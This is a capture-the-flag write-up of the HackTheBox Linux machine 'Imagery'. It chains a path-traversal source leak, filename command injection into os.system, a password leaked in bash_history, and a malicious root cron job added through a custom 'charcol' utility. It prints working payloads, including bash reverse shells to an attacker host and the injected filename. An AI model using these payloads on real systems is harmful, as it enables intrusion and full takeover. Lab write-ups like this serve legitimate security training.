< BACK TO HUB
MEDIUM DIFFICULTY

IMAGERY

TARGET OS: LINUX | AUTHOR: LEANDROS

Imagery is a Medium-rated Linux machine on HackTheBox that tests your ability to chain web vulnerabilities into a full system compromise. The engagement began with uncovering a Path Traversal vulnerability during a file upload process, which allowed me to leak the backend Python source code. Analyzing the code revealed a devastating Command Injection flaw via an insecure os.system() call. After securing a foothold, I exploited poor operational security to move laterally, and finally abused a custom command-line utility (charcol) to schedule a malicious cron job for root privileges. Here is my detailed mission log.

PHASE 1: RECONNAISSANCE

I initiated the engagement with an Nmap TCP port scan to map out the target's external attack surface.

TERMINAL - NMAP TCP SCAN
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p22,8000 <IP>
OUTPUT
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.7p1 Ubuntu 7ubuntu4.3
8000/tcp open  http    Werkzeug httpd 3.1.3 (Python 3.12.7)
|_http-title: Image Gallery
|_http-server-header: Werkzeug/3.1.3 Python/3.12.7

The scan revealed SSH on port 22 and a Python-based web server on port 8000 hosting an "Image Gallery". I ran a quick directory fuzzing scan using Gobuster to map the web application's structure.

TERMINAL - GOBUSTER
gobuster dir -u http://<IP>:8000 -w /usr/share/wordlists/dirb/common.txt

Gobuster identified two interesting endpoints: /upload and /file. Navigating to the site, I confirmed it was a simple web application allowing users to upload images.

PHASE 2: PATH TRAVERSAL & SOURCE CODE LEAK

I intercepted an image upload request using Burp Suite to analyze how the server handles incoming files. The server renames uploaded files using a UUID (e.g., 1b9d6bcd-bbfd-4b2d-9b5d-ab8dfbbd4bed.png). However, I noticed that the file extension attached to the UUID was being derived directly from my original filename.

[!] VULNERABILITY DETECTED: PATH TRAVERSAL

By manipulating the file extension in the multipart form data, I could trick the application into traversing the directory structure when it attempted to process or save the file.

I modified the filename in my Burp request from test.png to a path traversal payload aiming for the application's source code. I assumed standard Flask/Python structures, so I targeted /var/www/app/app.py.

PAYLOAD - BURP SUITE INTERCEPT
Content-Disposition: form-data; name="file"; filename="test.png/../../../../../../var/www/app/app.py"
Content-Type: image/png

The server responded with the contents of the app.py file! I had successfully bypassed the directory restrictions to leak the backend source code.

PHASE 3: COMMAND INJECTION TO RCE

Reviewing the leaked app.py source code, I focused on how the application processes the images. I found a massive, critical security flaw in the image conversion logic.

SOURCE CODE - APP.PY
# Snippet from image processing routine
file_path = os.path.join(UPLOAD_FOLDER, filename)
file.save(file_path)

# ...
os.system(f"magick {file_path} {file_path.split('.')[0]}.png")

[!] VULNERABILITY DETECTED: OS COMMAND INJECTION

The application uses os.system() to call the ImageMagick binary (magick). Because it blindly interpolates the file_path variable directly into the bash command without any sanitization or escaping, we can inject arbitrary shell commands by putting them directly inside our filename!

I crafted a malicious filename that would close the magick command context, execute a reverse shell, and then comment out the rest of the string to avoid syntax errors.

PAYLOAD - RCE FILENAME INJECTION
filename="\";bash -c 'bash -i >& /dev/tcp/<IP>/7777 0>&1'#.png"

I started a Netcat listener on port 7777 and sent the crafted request through Burp Suite. As soon as the server executed the os.system() call, it executed my reverse shell instead of converting the image.

TERMINAL - NETCAT LISTENER
listening on [any] 7777 ...
connect to [10.10.14.64] from (UNKNOWN) [10.10.11.88] 49284
runner@imagery:~/app$ whoami
runner

I had secured a foothold as the user runner and retrieved the user.txt flag.

PHASE 4: LATERAL MOVEMENT & PRIVILEGE ESCALATION

My next step was to stabilize my shell and hunt for lateral movement vectors. I started by checking the runner user's home directory. In a classic display of poor operational security, the user had left their terminal history intact.

TERMINAL - ENUMERATION
cat .bash_history
OUTPUT
ls -la
su mark
A30b8b2123!
cd /opt/charcol
...

The history file explicitly leaked the password for the user mark: A30b8b2123!. I used the su command to switch to Mark's account.

Now operating as mark, I began hunting for privilege escalation vectors. The `.bash_history` file had mentioned a directory called /opt/charcol/. I navigated there and found a custom python utility script named charcol.

Executing the script launched an interactive command-line interface. I typed help to see the available modules.

TERMINAL - CHARCOL CLI
charcol> help

Available commands:
  help                               : Show this help message.
  exit, quit                         : Exit the application.
  clear                              : Clear the terminal screen.
  info                               : Display system and application information.
  auto add [options]                 : Add a new background job.
  auto list                          : List all background jobs.
  auto remove [options]              : Remove a background job by ID.
  banner                             : Do not display the ASCII banner.
  -R, "--reset-password-to-default"  : Reset application password to default (requires system password verification).

[!] EXPLOIT STRATEGY: MALICIOUS CRON JOB SCHEDULING

The auto add command allows the user to schedule background jobs via crontab. Because this utility manages system-level tasks, if we can successfully schedule a job, it will be executed by the root user's cron daemon. The catch? It requires the user's system password to authorize the change.

Since I already had Mark's password from earlier, I could easily bypass this verification check. I set up a new Netcat listener on my attacker machine and crafted an auto add command to schedule a reverse shell to execute every minute.

PAYLOAD - ROOT CRON EXPLOIT
charcol> auto add --schedule "* * * * *" --command "bash -c 'bash -i >& /dev/tcp/<IP>/<PORT> 0>&1'" --name "rootShell"
OUTPUT
[2025-10-04 08:22:50] [INFO] System password verification required for this operation.
Enter system password for user 'mark' to confirm: A30b8b2123!

[2025-10-04 08:22:55] [INFO] System password verified successfully.
[2025-10-04 08:22:55] [INFO] Auto job 'rootShell' added successfully. The job will run according to schedule.
[2025-10-04 08:22:55] [INFO] Cron line added: * * * * * CHARCOL_NON_INTERACTIVE=true bash -c 'bash -i >& /dev/tcp/10.10.14.64/7777 0>&1'

The job was successfully added to the system's crontab. Less than a minute later, the cron daemon executed my payload as the root user, and my Netcat listener caught the incoming connection.

TERMINAL - ROOT SHELL
root@imagery:~# id
uid=0(root) gid=0(root) groups=0(root)

I retrieved the root.txt flag. The machine was fully compromised.